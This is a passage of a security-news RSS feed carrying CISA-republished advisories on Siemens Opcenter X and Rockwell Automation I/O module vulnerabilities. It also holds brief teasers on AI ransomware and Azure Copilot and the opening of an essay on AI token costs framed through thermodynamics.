<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time. These vulnerabilities have a high attack complexity.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-21</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-21</td>
<td>1</td>
<td>Initial Republication of Rockwell Automation Security Advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens Opcenter X]]></title>
<description><![CDATA[View CSAF
Summary
Opcenter X before V2604 contain an authentication bypass vulnerability that could allow an attacker to gain full unauthorized access to the application. Siemens has released a new version for Opcenter X and recommends to update to the latest version.
The following versions of Si...]]></description>
<link>https://tsecurity.de/de/3684503/it-security-nachrichten/siemens-opcenter-x/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684503/it-security-nachrichten/siemens-opcenter-x/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-03.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Opcenter X before V2604 contain an authentication bypass vulnerability that could allow an attacker to gain full unauthorized access to the application. Siemens has released a new version for Opcenter X and recommends to update to the latest version.</strong></p>
<p>The following versions of Siemens Opcenter X are affected:</p>
<ul>
<li>Opcenter X vers:intdot/&lt;2604</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 10</td>
<td>Siemens</td>
<td>Siemens Opcenter X</td>
<td>Improper Verification of Cryptographic Signature</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-56451</a></h3>
<div class="csaf-accordion-content">
<p>Affected applications do not properly validate the algorithm specified in the JSON Web Token (JWT) header. This could allow an unauthenticated remote attacker to forge arbitrary JWT, bypass authentication mechanisms and impersonate any user including administrative accounts, potentially gaining full unauthorized access to the application.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-56451">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens Opcenter X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>Opcenter X &lt; V2604</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2604 or later version<br><a href="https://support.sw.siemens.com/product/206159703/">https://support.sw.siemens.com/product/206159703/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/347.html">CWE-347 Improper Verification of Cryptographic Signature</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>10</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported this vulnerability to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-096828 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-096828 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation 1718-AENTR/1719-AENTR]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could allow for an attacker to cause a denial-of-service condition on the product.
The following versions of Rockwell Automation 1718-AENTR/1719-AENTR are affected:

1718/ 1719 Ex I/O 3.011 





CVSS
Vendor
Equipment
Vulnerabilities...]]></description>
<link>https://tsecurity.de/de/3684502/it-security-nachrichten/rockwell-automation-1718-aentr1719-aentr/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684502/it-security-nachrichten/rockwell-automation-1718-aentr1719-aentr/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-08.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could allow for an attacker to cause a denial-of-service condition on the product.</strong></p>
<p>The following versions of Rockwell Automation 1718-AENTR/1719-AENTR are affected:</p>
<ul>
<li>1718/ 1719 Ex I/O 3.011 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.5</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation 1718-AENTR/1719-AENTR</td>
<td>Allocation of Resources Without Limits or Throttling</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-9140</a></h3>
<div class="csaf-accordion-content">
<p>A denial-of-service security issue exists in the 1719-AENTR. The security issue stems from improper handling of a UDP unicast network storm, which causes the device to become overloaded and lose communication. A power cycle is required to recover.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-9140">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation 1718-AENTR/1719-AENTR</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation 1718/ 1719 Ex I/O: 3.011</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Rockwell Automation recommends users to upgrade to 1718/ 1719 Ex I/O version 3.012 or later.</p>
<p><strong>Mitigation</strong><br>Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/770.html">CWE-770 Allocation of Resources Without Limits or Throttling</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-21</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-21</td>
<td>1</td>
<td>Initial Republication of Rockwell Automation Security Advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation 1734 POINT I/O]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could allow for an attacker to cause a denial-of-service condition on the product.
The following versions of Rockwell Automation 1734 POINT I/O are affected:

1734 POINT I/O 3.023 





CVSS
Vendor
Equipment
Vulnerabilities




v3 7....]]></description>
<link>https://tsecurity.de/de/3684500/it-security-nachrichten/rockwell-automation-1734-point-io/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684500/it-security-nachrichten/rockwell-automation-1734-point-io/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-09.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could allow for an attacker to cause a denial-of-service condition on the product.</strong></p>
<p>The following versions of Rockwell Automation 1734 POINT I/O are affected:</p>
<ul>
<li>1734 POINT I/O 3.023 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.5</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation 1734 POINT I/O</td>
<td>Allocation of Resources Without Limits or Throttling</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-10573</a></h3>
<div class="csaf-accordion-content">
<p>A denial-of-service security issue exists in 1734 POINT I/O module. The security issue stems from improper handling of crafted CIP messages, which can cause the module to enter a faulted state. A restart is required to recover.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-10573">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation 1734 POINT I/O</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation 1734 POINT I/O: 3.023</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Rockwell Automation recommends users are to migrate to 5034-OB8.</p>
<p><strong>Mitigation</strong><br>Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/770.html">CWE-770 Allocation of Resources Without Limits or Throttling</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-21</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-21</td>
<td>1</td>
<td>Initial Republication of Rockwell Automation Security Advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Azure Copilot für IT-Operations: Vom Admin zum Agenten - entwickler.de]]></title>
<description><![CDATA[Künstliche Intelligenz spielt dabei zunehmend eine praktische Rolle: Sie hilft, Effizienz zu steigern, Sicherheitsrisiken früher zu erkennen und ...]]></description>
<link>https://tsecurity.de/de/3684253/it-security-nachrichten/azure-copilot-fuer-it-operations-vom-admin-zum-agenten-entwicklerde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684253/it-security-nachrichten/azure-copilot-fuer-it-operations-vom-admin-zum-agenten-entwicklerde/</guid>
<pubDate>Tue, 21 Jul 2026 17:57:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Künstliche Intelligenz spielt dabei zunehmend eine praktische Rolle: Sie hilft, Effizienz zu steigern, Sicherheitsrisiken früher zu erkennen und ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic JADEPUFFER Exploits Langflow Flaw to Deploy ENCFORGE AI Ransomware]]></title>
<description><![CDATA[A ransomware campaign is now targeting the assets behind artificial intelligence systems. The threat actor known as JADEPUFFER has evolved from damaging databases to deploying ENCFORGE, a ransomware strain designed to encrypt AI models, training data, and vector databases. The…
Read more →
The po...]]></description>
<link>https://tsecurity.de/de/3683878/it-security-nachrichten/agentic-jadepuffer-exploits-langflow-flaw-to-deploy-encforge-ai-ransomware/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683878/it-security-nachrichten/agentic-jadepuffer-exploits-langflow-flaw-to-deploy-encforge-ai-ransomware/</guid>
<pubDate>Tue, 21 Jul 2026 15:39:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A ransomware campaign is now targeting the assets behind artificial intelligence systems. The threat actor known as JADEPUFFER has evolved from damaging databases to deploying ENCFORGE, a ransomware strain designed to encrypt AI models, training data, and vector databases. The…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/agentic-jadepuffer-exploits-langflow-flaw-to-deploy-encforge-ai-ransomware/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/agentic-jadepuffer-exploits-langflow-flaw-to-deploy-encforge-ai-ransomware/">Agentic JADEPUFFER Exploits Langflow Flaw to Deploy ENCFORGE AI Ransomware</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The token debate: What CIOs can learn from the laws of thermodynamics]]></title>
<description><![CDATA[What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?



What if it comes from applying principles that physicists have understood for more than a century?



According to Gartner, rising token-driven AI spend is straining budgets and challenging cost justificat...]]></description>
<link>https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683604/it-nachrichten/the-token-debate-what-cios-can-learn-from-the-laws-of-thermodynamics/</guid>
<pubDate>Tue, 21 Jul 2026 14:03:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">What if the next breakthrough in Enterprise AI doesn’t come from computer science alone?</p>



<p class="wp-block-paragraph">What if it comes from applying principles that physicists have understood for more than a century?</p>



<p class="wp-block-paragraph">According to <a href="https://www.gartner.com/en/newsroom/press-releases/2026-06-24-gartner-predicts-ai-coding-costs-will-surpass-average-developer-salary-by-2028-as-token-consumption-surges">Gartner</a>, rising token-driven AI spend is straining budgets and challenging cost justification. As organizations race to deploy generative AI and agentic systems, token consumption dominates nearly every executive discussion: How many tokens did we use? How much did inference cost? Can we reduce our AI bill?</p>



<p class="wp-block-paragraph">These are important operational questions. But they are not the strategic questions.</p>



<p class="wp-block-paragraph">I believe the economics of enterprise AI can be viewed through the lens of three well-established principles from thermodynamics: the conservation of energy, entropy, and exergy.</p>



<p class="wp-block-paragraph">While these principles describe physical systems — not AI —they offer a useful way to think about how organizations should measure AI success.</p>



<h2 class="wp-block-heading">Principle 1: Value is created through transformation</h2>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/Laws_of_thermodynamics#First_law">The 1<sup>st</sup> Law of Thermodynamics</a> tells us that energy cannot be created or destroyed. It can only be transformed.</p>



<p class="wp-block-paragraph">Enterprise AI presents a similar management lesson: Tokens are not valuable because they are consumed; they become valuable only when they are transformed into business outcomes: A faster loan application decision. A better customer experience. Faster and more accurate software. Reduced fraud. Higher employee productivity. A new product. A strategic insight.</p>



<p class="wp-block-paragraph">The executive question therefore is not, “How many tokens did we consume?” It is: “How much business value did those tokens create?”</p>



<p class="wp-block-paragraph">This leads to a new executive metric: return on tokens (ROT).</p>



<p class="wp-block-paragraph">Just as organizations measure return on investment, they should begin measuring the business value generated for every million AI tokens consumed.</p>



<p class="wp-block-paragraph">The organizations that win will not necessarily consume fewer tokens. They will generate more value from every token they use.</p>



<h2 class="wp-block-heading">Principle 2: Every transformation creates waste</h2>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/Laws_of_thermodynamics#Second_law">The 2nd Law of Thermodynamics</a> teaches us that every energy transformation introduces inefficiencies.</p>



<p class="wp-block-paragraph">Some energy inevitably becomes less useful for doing work.</p>



<p class="wp-block-paragraph">The same pattern appears in enterprise AI: Not every token contributes equally to business outcomes.</p>



<p class="wp-block-paragraph">Some are spent on:</p>



<ul class="wp-block-list">
<li>Repeated prompts</li>



<li>Oversized context windows</li>



<li>Redundant reasoning</li>



<li>Hallucinations requiring correction</li>



<li>Multiple agents performing the same work</li>



<li>Expensive models solving simple problems</li>
</ul>



<p class="wp-block-paragraph">Those tokens are not “lost.” They simply produce very little business value.</p>



<p class="wp-block-paragraph">I think of this as token entropy. Every enterprise deploying AI will experience it. The goal is not to eliminate token entropy completely — that would be unrealistic. The goal is to continuously identify it, measure it and reduce it. Because every unnecessary token represents an opportunity to improve both cost and business performance.</p>



<h2 class="wp-block-heading">Principle 3: Useful work matters more than energy consumed</h2>



<p class="wp-block-paragraph">Thermodynamics introduces another important idea: <a href="https://en.wikipedia.org/wiki/Exergy">Exergy</a>.</p>



<p class="wp-block-paragraph">Unlike energy, exergy measures how much energy can actually be converted into useful work. Two systems may consume the same amount of energy while producing dramatically different results.</p>



